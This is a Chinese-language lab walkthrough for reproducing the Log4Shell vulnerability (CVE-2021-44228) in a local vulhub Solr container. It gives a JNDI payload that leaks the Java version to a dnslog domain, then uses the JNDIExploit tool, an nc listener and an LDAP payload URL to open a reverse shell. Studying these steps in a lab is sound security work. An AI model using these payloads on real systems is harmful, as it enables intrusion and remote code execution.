一、环境搭建(用相同的环境才能保证一定成功)
下载vulhub,其他环境可能存在GET请求无效问题:
git clone https://github.com/vulhub/vulhub.git
切换到指定漏洞环境目录:
vulhub/log4j/CVE-2021-44228
开启docker:
docker compose up -d
➜ vulhub git:(master) cd vulhub/log4j/CVE-2021-44228
➜ CVE-2021-44228 git:(master) docker compose up -d [+] Running 9/9
⠿ solr Pulled 107.8s
⠿ 43c265008fae Pull complete 25.3s
⠿ af36d2c7a148 Pull complete 26.0s
⠿ 2b7b4d10e1c1 Pull complete 26.1s
⠿ f264389d8f2f Pull complete 26.2s
⠿ 1a2c46e93f4a Pull complete 26.3s
⠿ f9506bb322c0 Pull complete 48.9s
⠿ 96f5dad14c2c Pull complete 49.0s
⠿ c387eff49cc3 Pull complete 90.9s [+] Running 2/2
⠿ Network cve-2021-44228_default Created 0.1s
⠿ Container cve-2021-44228-solr-1 Started
访问地址显示如下界面表示搭建成功: http://127.0.0.1:8983
二、漏洞验证
- 登陆http://dnslog.cn/获取随机域名,下图中的第一步;
- 漏洞页面修改url为:http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xdeuza.dnslog.cn};
- 查看dnslog显示请求记录表示漏洞存在,上图中的第三步,未显示则点击上图中的第二步"Refresh Record";
三、反弹shell
下载JNDI注入工具,https://github.com/WhiteHSBG/JNDIExploit,MD5 (JNDIExploit.v1.4.zip) = bafe42623aae09d18bafa610844d57c7 ,之前一直用1.0总是无法成功反弹shell
解压后启动:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 172.16.242.3
同时开启nc监听:nc -lvnp 6666
nc监听和JNDIExploit在同一台机器上,IP:172.16.242.3
构造payload请求并访问:http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://172.16.242.3:1389/Basic/ReverseShell/172.16.242.3/6666}
后台显示JNDI注入成功:
nc反弹shell成功上线 :